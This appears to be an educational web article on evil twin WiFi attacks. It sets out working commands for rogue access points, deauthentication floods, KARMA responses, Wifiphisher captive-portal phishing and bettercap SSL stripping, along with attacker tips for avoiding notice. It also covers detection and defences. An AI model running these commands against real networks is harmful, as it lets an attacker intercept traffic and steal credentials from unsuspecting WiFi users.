GO KALI FREE
AdvancedWireless Security

Evil Twin Attacks: Rogue Access Point Threats and Detection

An in-depth guide to evil twin (rogue AP) attacks covering how they work, deployment techniques, detection methods, and defensive strategies against WiFi credential harvesting.

#Evil Twin#Rogue AP#WiFi Attack#Credential Harvesting#Wireless Security

The Architecture of Wireless Impersonation

An evil twin attack deploys a rogue wireless access point that impersonates a legitimate WiFi network by broadcasting the same SSID. This attack exploits the trust architecture of wireless networks — clients automatically connect to the strongest signal matching a known SSID. Once connected, the attacker intercepts traffic, captures credentials, or conducts man-in-the-middle attacks.

Prerequisites

  • **WiFi Security Basics** — SSID, association, 802.11 frames
  • **Wireless Reconnaissance** — Network discovery and client enumeration

    • Attack Infrastructure

    Required components: wireless adapter supporting AP mode, software for fake AP, DHCP server, and optionally a captive portal page and internet uplink.

    Basic Evil Twin Deployment

    # Create evil twin with airbase-ng
airmon-ng start wlan0
airodump-ng wlan0mon
airbase-ng -e "Free Airport WiFi" -c 6 wlan0mon

# Bridge for internet access
brctl addbr evil-bridge
brctl addif evil-bridge eth0
brctl addif evil-bridge at0

    Using hostapd

    # hostapd.conf
interface=wlan0
driver=nl80211
ssid=Corporate-Guest
hw_mode=g
channel=6
auth_algs=1

    Forcing Client Connections

    # Continuous deauth against all clients on target
aireplay-ng -0 0 -a LEGITIMATE_AP_MAC wlan0mon

# Selective deauth for specific clients
aireplay-ng -0 5 -a LEGITIMATE_AP_MAC -c CLIENT_MAC wlan0mon

    KARMA Attack

    Exploits client probe requests. Mobile devices broadcast known network names; the evil twin responds to all probes claiming to be any network:

    # MANA toolkit for KARMA attacks
mana_wlan=wlan0
mana_ssid=""
mana_loud=1  # Respond to all probes

    Automated Frameworks

    # Fluxion
git clone https://github.com/FluxionNetwork/fluxion.git
cd fluxion && ./fluxion.sh

# Wifiphisher
git clone https://github.com/wifiphisher/wifiphisher.git
python wifiphisher.py

    Credential Harvesting

    Captive Portal Phishing

    # Wifiphisher with built-in templates
wifiphisher -aI wlan0 -jI wlan0 --template "starbucks"

    SSL Stripping

    bettercap -eval "set http.proxy.sslstrip true; http.proxy on"

    Detection Methods

    Client-Side

    Check for duplicate SSIDs, verify AP MAC addresses, use VPN regardless of AP, check certificate validity.

    Network Monitoring

    # Kismet detects multiple APs with same SSID
kismet

# Manual duplicate detection
airodump-ng wlan0mon | grep "TargetSSID"

# Monitor for deauth floods
tcpdump -i wlan0mon -n -e type mgt subtype deauth

    WIDS

    Enterprise WIDS monitor for duplicate SSIDs, signal fingerprinting, beacon interval anomalies, and KARMA behavior.

    Common Mistakes

  • Poor signal strength (victims connect to stronger signal)
  • Wrong channel selection
  • No internet access (detectable)
  • Obvious deauthentication
  • Inconsistent portal appearance

    • Best Practices (Defenders)

  • Deploy **802.11w (PMF)** to prevent deauth attacks
  • Use **WPA3** with mandatory PMF
  • Implement **WIPS/WIDS** monitoring
  • Use **802.1X** for AP identity verification via RADIUS
  • Require **VPN** on all untrusted networks
  • Educate users on network verification

    • Related Tools

  • **airbase-ng** — Rogue AP creation
  • **Fluxion** — Automated evil twin framework
  • **Wifiphisher** — Portal phishing toolkit
  • **bettercap** — MITM framework
  • **hostapd-wpe** — Enterprise credential harvesting

    • Related Articles

  • Captive Portals: How WiFi Authentication Works
  • Wireless Reconnaissance: Discovering WiFi Networks
  • WiFi Security Basics: Protecting Wireless Networks
  • Aircrack-ng Guide: Complete Wireless Security Assessment

    • Summary

    Evil twin attacks deploy rogue APs impersonating legitimate WiFi to intercept traffic and harvest credentials. Combining deauth attacks, captive portal phishing, and SSL stripping, these attacks are highly effective against open WiFi. Defense requires WPA3 with PMF, WIDS monitoring, user education, and enforced VPN usage.

    Knowledge Check

  • What two components make evil twin attacks possible?
  • How does deauth support evil twin deployment?
  • What is a KARMA attack?
  • What detection methods identify evil twins client-side?

    • Frequently Asked Questions

    What is an evil twin attack?

    An evil twin attack deploys a rogue wireless access point impersonating a legitimate WiFi network. The rogue AP broadcasts the same SSID, tricking users into connecting. Once connected, the attacker intercepts traffic, captures credentials, or conducts man-in-the-middle attacks.

    What two components make evil twin attacks possible?

    A wireless adapter supporting AP mode and deauthentication capability are required. The adapter creates the rogue AP, while deauthentication forces clients off the legitimate network, making them seek the evil twin for reconnection.

    How does deauthentication support evil twin deployment?

    Continuous deauth against clients on the legitimate AP forces them to disconnect. Devices automatically reconnect to the strongest signal with the same SSID — the evil twin. Without deauth, clients remain on the legitimate AP and ignore the rogue.

    What is a KARMA attack?

    KARMA exploits client probe requests. Devices broadcast probes for known networks; the evil twin responds to all probes claiming to be any requested network. This passively attracts victims without needing to know the target SSID in advance.

    What detection methods identify evil twins client-side?

    Check for duplicate SSIDs with different BSSIDs, verify AP MAC addresses against known values, check certificate validity for HTTPS connections, and always use a VPN on untrusted networks regardless of AP legitimacy.

    What tools are used to deploy evil twin attacks?

    airbase-ng creates rogue APs from the command line. hostapd provides configurable AP software. Fluxion automates the full attack chain including deauth and portal phishing. Wifiphisher focuses on credential harvesting through fake portal pages.

    What is SSL stripping in the context of evil twin attacks?

    SSL stripping downgrades HTTPS connections to HTTP, allowing the attacker to read traffic in plain text. Tools like bettercap can perform SSL stripping on the evil twin, intercepting credentials and session tokens that would otherwise be encrypted.

    How do enterprise WIDS detect evil twin attacks?

    Wireless Intrusion Detection Systems monitor for duplicate SSIDs, signal fingerprinting anomalies, beacon interval inconsistencies, and KARMA behavior. They compare observed AP characteristics against the authorized inventory to identify rogue devices.

    What is the difference between airbase-ng and hostapd for evil twins?

    airbase-ng is purpose-built for wireless attacks with built-in deauth and client handling. hostapd is legitimate AP software that can be misconfigured for evil twins. airbase-ng is simpler for attacks; hostapd provides more control for complex scenarios.

    How does 802.11w (PMF) prevent evil twin attacks?

    PMF authenticates management frames, preventing deauthentication attacks. Without deauth capability, attackers cannot force clients off the legitimate AP, making evil twin deployment significantly harder since clients will not voluntarily disconnect.

    What role does signal strength play in evil twin effectiveness?

    The evil twin must have a stronger signal than the legitimate AP to attract clients. Poor signal strength means victims connect to the stronger legitimate AP instead. Attackers often position closer to targets or use higher-gain antennas.

    Why is VPN the best defense against evil twin attacks?

    A VPN encrypts all traffic between the device and the VPN server. Even if connected to an evil twin, the attacker cannot read or modify encrypted VPN traffic. VPN should be used on all untrusted networks regardless of perceived AP legitimacy.